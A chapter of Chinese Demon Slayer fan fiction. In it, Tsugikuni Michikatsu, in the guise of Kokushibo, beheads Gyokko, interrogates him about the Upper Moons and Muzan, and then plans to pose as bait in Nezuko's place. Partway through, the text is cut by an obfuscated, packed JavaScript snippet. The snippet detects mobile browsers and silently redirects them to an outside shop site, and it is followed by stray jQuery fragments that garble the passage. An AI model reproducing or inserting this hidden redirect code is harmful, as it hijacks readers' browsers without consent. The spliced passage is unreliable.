而“黑死牟”只轻轻地笑了笑。他身后是皎洁的明月,可当他动作时,那头黑红交织的长发掩盖过月光,让那月轮被映染出极其不祥的血色—— 然后玉壶眼中的世界倒转了。 “……?” 砰。咚。咚。咚。 他的头被人砍了。 落到了地上。还滚了几圈。 全是土。 在反应过来这一点的时候,玉壶发出了尖锐的叫声:“啊啊啊啊啊我艺术的身体!黑死牟大人,您在做什么啊!!!” 而“黑死牟”只轻轻偏了偏头。 好像嫌他烦一样,提着刀,缓步走了过来。玉壶连忙操纵自己的头往后滚,想重新接上自己的壶,“难道您在生气?因为无惨大人没有将这个任务交给您?可是无惨大人选择我,想必是认为我和半天狗的实力适合这个任务,而您还是太强了,毕竟您英明神武、剑术超绝、是最最最厉害的上弦之一……” 玉壶嘴都要说干了,还是眼睁睁地看着“黑死牟”靠近。 完了,玉壶发麻,今天这上弦一发什么疯?!平常不都是一副与世无争、“你们都是废物”的样子么,怎么今天—— 难道!玉壶猛地睁大眼。 而“黑死牟”终于走到他身前。 “上弦之五,”他轻轻笑了,“你现在才发现,我不是你认识的黑死牟吗?” 继国严胜伸出手。 他一把捏碎了那个壶。 玉壶沉默了。 他怔怔地看着自己的壶,那个美丽的、艺术的、他花费不知道多少时间才铸好的壶…… 啊啊啊啊啊啊啊啊!!! 一股极其尖利的叫声,在整个树林里回荡,叫声响到远处的刀匠村聚居地都可以听到,但玉壶现在已经没有在乎隐蔽自己的时间了,他疯狂地扭动起来,喊声愤怒难听到让人眩晕的地步。 “你居然毁了我的壶!”他咆哮道,从头部开始,瞬间长出脖颈、肩膀、胸膛,以及鱼尾一样的扭曲蠕动的下半身,“你这个假扮黑死牟的来路不明的东西,居然敢毁了我珍贵的壶!!!” 他极快地切换形态,正要张口,吐出毒千本和鱼泡,将眼前人困住,玉壶恼恨地想,他要把眼前这个鬼一片片切开,变成自己鱼的食粮—— 铮。 一道清寒的声音响起。 玉壶只感到眼前一白。 脖颈一凉。 他的头又重新滚了下去。 那具他自诩“艺术中的艺术”的强壮的蛇一般的身体,动都来不及动…… 就轰然倒塌在地。 “你该庆幸,我没有用日轮刀,所以你现在还活着。” 那个仿佛地狱来的幼鬼,微微弯下腰,俯视着恐惧的玉壶,就这么轻轻地露出笑容: “现在,上弦之五,你可以告诉我,我想要知道的一些事情了么?” - 玉壶很绝望。 他完全无法理解事情是怎么发展到这个地步的。 怎么会这样呢?他茫然地想,明明就只是攻击一些手无寸铁之力的刀匠,就算有柱看守,那也不过一两位而已,更何况他和半天狗也不是第一次杀死柱了,怎么会有难度呢? 堕姬兄妹输了,是他们发神经的事,无惨大人自己都说了他们轻敌,而玉壶自己可是这么慎重,还好好地等待了很久准备分身,想后半夜再动手…… 可是怎么会这样呢?! 看着面前,坐在自己倒伏在地的鱼尾上,正一脸兴味盎然,盯着自己的鬼。 那个和黑死牟有同样的剑术、长相、以及相似的幼化的声音的鬼。 “……”玉壶艰难地说:“敢问阁下……您是……?” 怎么会有强到这种地步但无惨大人不知道的鬼啊?!玉壶想死,在他发现自己联系不上无惨的时候,更想死了。 而鬼只是踩了下那条耸动的鱼尾,让它在自己身下安分点。 “说吧,上弦的情报。” “……”玉壶在思考是泄露了情报被无惨杀了还是现在被此人拖住被太阳烧了,哪一种更痛苦。 而继国严胜像看穿了他的心思一样,微微一笑:“想逃?” “!不不不当然没有!”玉壶打了个激灵,他觉得鬼还是活在当下比较好,“当然,我会全部告诉您的,呃呃,就从我开始说,我是最懂得艺术的上弦之五玉壶,最大的爱好就是做各种各样美丽的壶——” “略过。”严胜冷酷地说:“你,上弦之四,都不用说了。” “……” 玉壶衷心希望不是因为自己太弱,所以对方懒得听。 他瑟瑟发抖一下,继续说:“……上弦之三,是名为猗窝座的男子,他的血鬼术似乎是拳术,但几个月前,猗窝座阁下就失踪了,连无惨大人都不知道……大人很生气。” 严胜感兴趣地挑眉,“继续。” “上弦之二,是童磨阁下,一个很奇怪的鬼……似乎偏爱食用女子,如果我没记错,应当在人间担任某个宗教的教主。” 宗教?严胜若有所思,但很快玉壶高涨的语气吸引了他的注意: “而上弦之一,黑死牟大人!是我们上弦当之无愧的最强者!” 大概是觉得吹捧黑死牟会对严胜有用,玉壶滔滔不绝地开始夸奖起来:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281295|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “黑死牟大人使用剑术,虽然我无缘见到他的剑法,但他平时端庄的姿态、凛然的风采、皎洁的背影和无人能及的气势,都让人感到无比钦佩,更别说那神出鬼没、冷漠寡言的性格了,更是非常、非常——” 让人好想做成壶…… 玉壶一个冷战,不,这个不能说啊!他战战兢兢地看向面前一言不发的鬼,小心翼翼,“您、您还想知道什么吗?” 出乎玉壶意料,面前的鬼并没有追问关于黑死牟的事,换了个话题,“鬼舞辻无惨,是不是在追杀灶门炭治郎兄妹?” “?”玉壶茫然:“谁?” “……戴着花札耳饰的哥哥,以及变成鬼的妹妹。” “哦!您说的是那个似乎在使用日之呼吸的剑士?” 日之呼吸?听到意料之外的词,严胜眯了眯眼睛。而玉壶并没有发觉,只是一叠声地回答,生怕慢了就会被严胜杀死: “当然、当然,无惨大人很久没有这么生气过了!我偷偷打听过,听说是多年前,无惨大人为了寻找能承受阳光的鬼,挑中了体质特殊的卖炭一家,将他们变成了鬼……您说的妹妹,大概就是那个特殊的鬼,无惨大人一直很关注……大人、大人?” 玉壶的声音唤回了走神的继国严胜。 在寻找能见到阳光的鬼吗…… 继国严胜忽然笑起来。“所以要求你们一定要杀死炭治郎?” “对,杀死哥哥,然后捕捉妹妹,将她带回无限城……” 玉壶顿时卡住。 ……他是不是连无限城都说出来了? 严胜懒得理会玉壶惶恐的表情,一个相当有趣的主意,在继国严胜的脑子里出现了。 他露出一个莫测的笑容,缓缓从鱼尾上站了起来—— 玉壶睁大眼睛,心中狂喜:这是放过自己了? 然后,下一秒,幼鬼摁住了他的脑袋: “我的血,会让你今夜无法和无惨联系……至于你。” 金色鬼瞳的幼鬼,高高在上地看着恐惧的玉壶: “你就作为鬼杀队的锻炼对象……” “在今晚,被他们杀死吧。” 面对不远处,匆忙赶来的时透,继国严胜随手拎起那颗头颅,将它向时透无一郎扔过去。 “加油哦。” 他带着轻飘飘的笑意说。 - 处理完这一切,继国严胜便往回赶。 在路上,看到出门寻找自己的缘一。 “兄长!” 缘一有些喘气,对于他来说,这种状态已经算得上非常着急。 他一看到严胜,就止住脚步,“兄长大人,您去哪里了?缘一刚刚回去,看见地上散落着零式的碎片,虽然知道您实力高强,但还是非常非常担心……” 他一把将严胜抱了起来,而严胜安抚地摸摸他的头: “无需在意,我只是出去杀了个不值当的小东西。” “?”缘一想了想,觉得无所谓,无论是谁,杀就杀了。他只用通透检查了一下,发现严胜无事,就松了口气,“您没受伤就好。” 两人慢慢往回走,途中解救了一些被已经制造出来的壶分身追杀的人类,等回到刀匠村时,已经是快天亮的时候。 “兄长大人,请您回到箱子中来吧。” 正当缘一将箱子放下,想让严胜进去的时候。 “严胜大人!缘一大人!” 远远的,小铁朝他们跑了过来,继国缘一愣了愣,他知道这孩子,自从兄长修好了零式,这孩子就很黏兄长。 希望他还没看到碎成一地的零式。缘一不禁有些心虚。 但小铁并不是为零式来的。他表情极其兴奋,冲到两人身边,用压抑不住的声音说:“两位大人,有一个天大的好消息!” “祢豆子小姐,可以见到阳光了!” 继国缘一愣了愣。 顿时,他心中涌起强烈的狂喜。这是真的吗,他几乎马上要问出声,祢豆子做到了吗,那兄长、兄长—— “是么?” 而怀中的继国严胜却反常的冷静。 简直像是早就预料到一样。 他神色平静,甚至还抱住了缘一的脖颈。当继国缘一顺着严胜的力道,朝哥哥看过去的时候: 他看见继国严胜兴致勃勃的笑容。 “缘一,”他听见继国严胜说:“我有一个主意。” “如果我代替祢豆子,被炭治郎背在身后,作为诱饵,混淆鬼的视线,让他们将我拐走,然后我就能去到无惨身边,一举将他杀死……” “你觉得如何?”